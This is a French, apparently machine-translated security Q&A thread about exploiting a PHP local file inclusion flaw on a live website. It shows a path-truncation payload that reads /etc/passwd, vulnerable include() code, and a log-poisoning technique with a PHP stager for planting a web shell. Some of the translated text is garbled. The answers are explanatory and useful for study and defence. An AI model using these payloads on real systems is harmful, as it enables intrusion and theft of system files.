web-dev-qa-db-fra.com

Comment puis-je utiliser ce chemin en contournant / exploitant l'inclusion de fichiers locaux?

J'ai essayé d'exécuter un script d'analyse de vulnérabilité (Uniscan 6.0) sur certains sites Web, puis j'ai trouvé un site exploitable avec le chemin suivant. (inclus un mot "invalide", les paramètres/site Web sont tous deux censurés)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

Pour ma prochaine étape, je veux vraiment comprendre ce qui se passe exactement, donc j'essaie de l'exploiter manuellement. (J'ai jeté un œil à quelques tutoriels sur LFI)

  1. ../../../../../../../../../../../../../../../etc/passwd& .. .
  2. invalide ../../../../../../../../../../../../../../../ etc/passwd &. ..
  3. ../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../etc/passwd/. /./& ...
  5. ../../../../../../../../../../../../../../../etc/passwd%00 /. /. /% ...

mais ils n'ont pas fonctionné sauf le premier très long chemin, que se passe-t-il?

Quel code php dois-je utiliser? Et comment ce long chemin pourrait contourner ce code php vulnérable?

Les informations suivantes peuvent être utiles.

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
30
Smile.Hunter

Fascinant! @catalyze a creusé une belle situation vraiment intrigante ici. Je voulais prendre le temps de résumer ce qui se passe ici, sur ce site. (Crédits complets à @catalyze et Francesco "ascii" Ongaro; je résume simplement ce qu'ils ont expliqué.)

Résumé. Ce n'est pas une attaque LFI quotidienne. Au lieu de cela, c'est quelque chose de plus inhabituel et intelligent. Ici, nous avons une vulnérabilité qui ne peut pas être exploitée par des méthodes LFI standard; vous avez besoin de plus de ruse pour savoir comment l'exploiter.

Contexte. Tout d'abord, je dois vous dire deux faits sur la gestion des fichiers PHP qui ont été découverts par Francesco "ascii" Ongaro et d'autres:

  • Fait 1. Vous pouvez ajouter des éléments à la fin d'un nom de fichier. Tout le monde sait que /./etc/passwd n'est qu'une autre façon de se référer à /etc/passwd fichier. Mais, voici quelques-uns que vous ignoriez peut-être.

    Sur PHP, il s'avère que /etc/passwd/ fait également référence à /etc/passwd fichier: les barres obliques de fin sont supprimées. Sauvage, hein? Cela ne fonctionne pas sous Unix de base, il est donc un peu surprenant que PHP accepterait un tel nom de fichier, mais il semble que PHP se détache lui-même) barres obliques de fin avant d'ouvrir le fichier.

    Vous pouvez ajouter n'importe quel nombre de barres obliques: /etc/passwd//// est également OK.

    Et, vous pouvez ajouter ./ (autant de fois que vous le souhaitez). Par exemple, /etc/passwd/., /etc/passwd/./, et /etc/passwd/././. tous font référence à /etc/passwd. Devenir fou! PHP ne se soucie pas.

  • Fait 2. Les longs chemins sont tronqués. Sur la plupart des installations PHP, si le nom de fichier dépasse 4096 octets, il sera tronqué en silence et tout le reste après les 4096 premiers octets) Aucune erreur n'est déclenchée: les caractères en excès sont simplement jetés et PHP continue joyeusement.

L'attaque. Maintenant, je suis prêt à décrire l'attaque. Je vais vous montrer le code vulnérable, pourquoi les attaques LFI standard ne fonctionnent pas, puis comment créer une attaque plus intelligente qui fonctionne. Le résultat explique ce que @catalyze a vu dans son pentest.

Le code vulnérable. Supposons que nous ayons un code qui ressemble à ceci:

<?php
include("includes/".$_GET['param1'].".php");
?>

Cela ressemble à une vulnérabilité d'inclusion de fichier local (LFI), non? Mais la situation est en fait un peu plus délicate qu'il n'y paraît au premier abord. Pour voir pourquoi, regardons quelques attaques.

Attaques standard. La façon standard et naïve d'essayer d'exploiter cette vulnérabilité LFI est de fournir un paramètre ressemblant à ?param1=../../../../var/www/shared/badguy/evil. Le code ci-dessus PHP va alors essayer d'inclure le fichier includes/../../../../var/www/shared/badguy/evil.php. Si nous supposons que le fichier /var/www/shared/badguy/evil.php existe et est contrôlée par l'attaquant, cette attaque réussira à faire exécuter à l'application le code malveillant choisi par l'attaquant.

Mais cela ne fonctionne que si l'attaquant peut introduire un fichier avec le contenu de son choix sur le système de fichiers, avec un nom de fichier se terminant par .php. Que faire si l'attaquant ne contrôle aucun fichier du système de fichiers se terminant par .php? Eh bien, les attaques standard échoueront. Quelle que soit la valeur de paramètre fournie par l'attaquant, cela n'ouvrira qu'un nom de fichier se terminant par .php extension.

ne attaque plus sophistiquée. Avec les faits de base supplémentaires que je vous ai donnés plus tôt, vous pouvez peut-être voir comment trouver une attaque plus sophistiquée qui vainc cette limitation.

Fondamentalement, l'attaquant choisit une valeur de paramètre très longue, de sorte que le nom de fichier construit dépasse 4096 octets. Lorsque le nom de fichier est tronqué, le .php l'extension sera supprimée. Et si l'attaquant peut faire en sorte que le nom de fichier résultant fasse référence à un fichier existant sur le système de fichiers, l'attaquant est bon.

Maintenant, cela pourrait ressembler à une attaque farfelue. Quelles sont les chances que nous puissions trouver un nom de fichier sur le système de fichiers dont le chemin complet soit exactement de 4096 octets? Peut-être pas si bon?

C'est là que les faits contextuels entrent en jeu. L'attaquant peut envoyer une demande avec ?param1=../../../../etc/passwd/./././././<...> (avec le ./ motif répété plusieurs milliers de fois). Regardez maintenant quel nom de fichier est inclus, une fois le préfixe ajouté et le .php L'extension de fichier est ajoutée: ce sera quelque chose comme includes/../../../../etc/passwd/./././././<...>.php. Ce nom de fichier sera plus long que 4096 octets, il sera donc tronqué. La troncature supprimera l'extension du fichier et nous laissera un nom de fichier de la forme includes/../../../../etc/passwd/./././././<...>. Et, grâce à la manière PHP gère les barres obliques et _ ./ séquences, toutes ces choses à la fin seront ignorées. En d'autres termes, ce nom de fichier sera traité par PHP comme équivalent au chemin includes/../../../../etc/passwd. Donc PHP essaiera de lire à partir du fichier de mot de passe, et quand il y trouvera PHP des erreurs de syntaxe, il peut vider le contenu du fichier de mot de passe dans une erreur page - divulgation d'informations secrètes à un attaquant.

Cette technique permet donc d'exploiter certaines vulnérabilités qui autrement ne pourraient pas être exploitées par des méthodes standard. Consultez les pages vers lesquelles @catalyze renvoie pour une discussion plus détaillée et de nombreux autres exemples.

Cela explique également pourquoi @catalyze n'a pas pu exploiter l'attaque en envoyant quelque chose comme ?param1=../../../../etc/passwd: une .php l'extension a été ajoutée et le fichier /etc/passwd.php n'existait pas, donc l'attaque a échoué.

Résumé. Les particularités de la gestion des chemins de fichiers par PHP permettent toutes sortes d'attaques subtiles contre des vulnérabilités qui, autrement, sembleraient inexploitables. Pour les pentesters, ces techniques d'attaque peuvent être utiles.

Pour les développeurs, la leçon est la même: validez vos entrées; ne faites pas confiance aux entrées fournies par l'attaquant; connaître les vulnérabilités Web classiques et ne les introduisez pas dans votre code.

33
D.W.

Enfin, j'ai trouvé la solution!

Les techniques de contournement de ce LFI sont appelées Attaque de troncature de chemin

Scénario:

  • Pas de listes blanches/noires, open_base_dir ou toute configuration d'accès restreint
  • Il y a magic_quotes escape nullbytes car addlashes () est implicitement appelé sur toutes les entrées GPC et SERVER. (dans ce cas etc/passwd%00 deviendrait etc/passwd\0, il ne peut donc pas être évalué comme un fichier correct.)
  • include_path (dans php.ini ) contient au moins un chemin absolu pour déclencher une partie du complexe vulnérable dans le code source de PHP (par exemple, include_path = ".:/usr/share/php" )
  • PHP <? (Qui sait?)

Charge utile:

  • Doit commencer avec un répertoire inexistant
  • Continuez avec le traîneau de traversée, pointez sur le chemin à inclure
  • Terminez avec le traîneau de normalisation/troncature.

Les gens intelligents sont là ..

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

7
Smile.Hunter

Je vais répondre à cette question avec la mise en garde que je fais l'hypothèse que cela est utilisé à des fins juridiques et pour la recherche en matière de sécurité uniquement.

Si nous parlons d'un site Web PHP, c'est probablement ce qui se passe dans le backend:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

Vous pouvez potentiellement exploiter cette LFI pour télécharger votre webshell et exécuter des commandes système sur le web shell. La façon la plus simple de procéder consiste à injecter dans access.log et à accéder à access.log. La façon la plus simple de le faire est de modifier l'agent utilisateur, ou peut-être même la demande GET, pour inclure du code PHP qui vous aiderait à configurer un stager. Par exemple, un telnet dans le site Web et la demande suivante doivent être injectés dans access.log:

GET/ <?php phpinfo() ?>

De toute évidence, tout cela vous permettra d'obtenir les informations PHP de access.log, mais vous avez l'idée. Maintenant, sur les mêmes lignes, vous pouvez facilement faire quelque chose comme:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

puis téléchargez un script codé en base64 PHP script dedans, et mettez votre shell Web là-haut. Je vous laisse le soin de comprendre le reste, cela ne devrait pas être difficile Il y a un tutoriel vraiment en plusieurs parties pour cela sur Kaotic Creations que vous devriez vraiment lire, si vous êtes intéressé à en savoir plus à ce sujet.

5
Karthik Rangarajan